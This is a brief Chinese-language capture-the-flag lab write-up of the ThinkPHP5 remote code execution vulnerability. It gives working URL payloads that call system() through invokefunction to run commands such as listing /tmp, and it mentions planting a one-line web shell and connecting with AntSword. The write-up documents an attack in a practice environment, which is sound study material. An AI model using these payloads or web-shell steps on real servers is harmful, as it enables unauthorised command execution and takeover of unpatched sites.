描述
ThinkPHP框架 - 是由上海顶想公司开发维护的MVC结构的开源PHP框架,遵循Apache2开源协议发布,是为了敏捷WEB应用开发和简化企业应用开发而诞生的。
ThinkPHP5 存在远程代码执行漏洞。该漏洞由于框架对控制器名未能进行足够的检测,攻击者利用该漏洞对目标网站进行远程命令执行攻击。
复现
1.打开靶场环境
2.构造payload远程代码执行,在地址后边添加路径与参数就行,然后在/tmp下获得flag
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=想要输入的命令
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20/tmp
3.我们还可以通过写入一句话木马的方式获得flag
4.访问一下http://ip/shell.php,然后用蚁剑连接,在/tmp下找到flag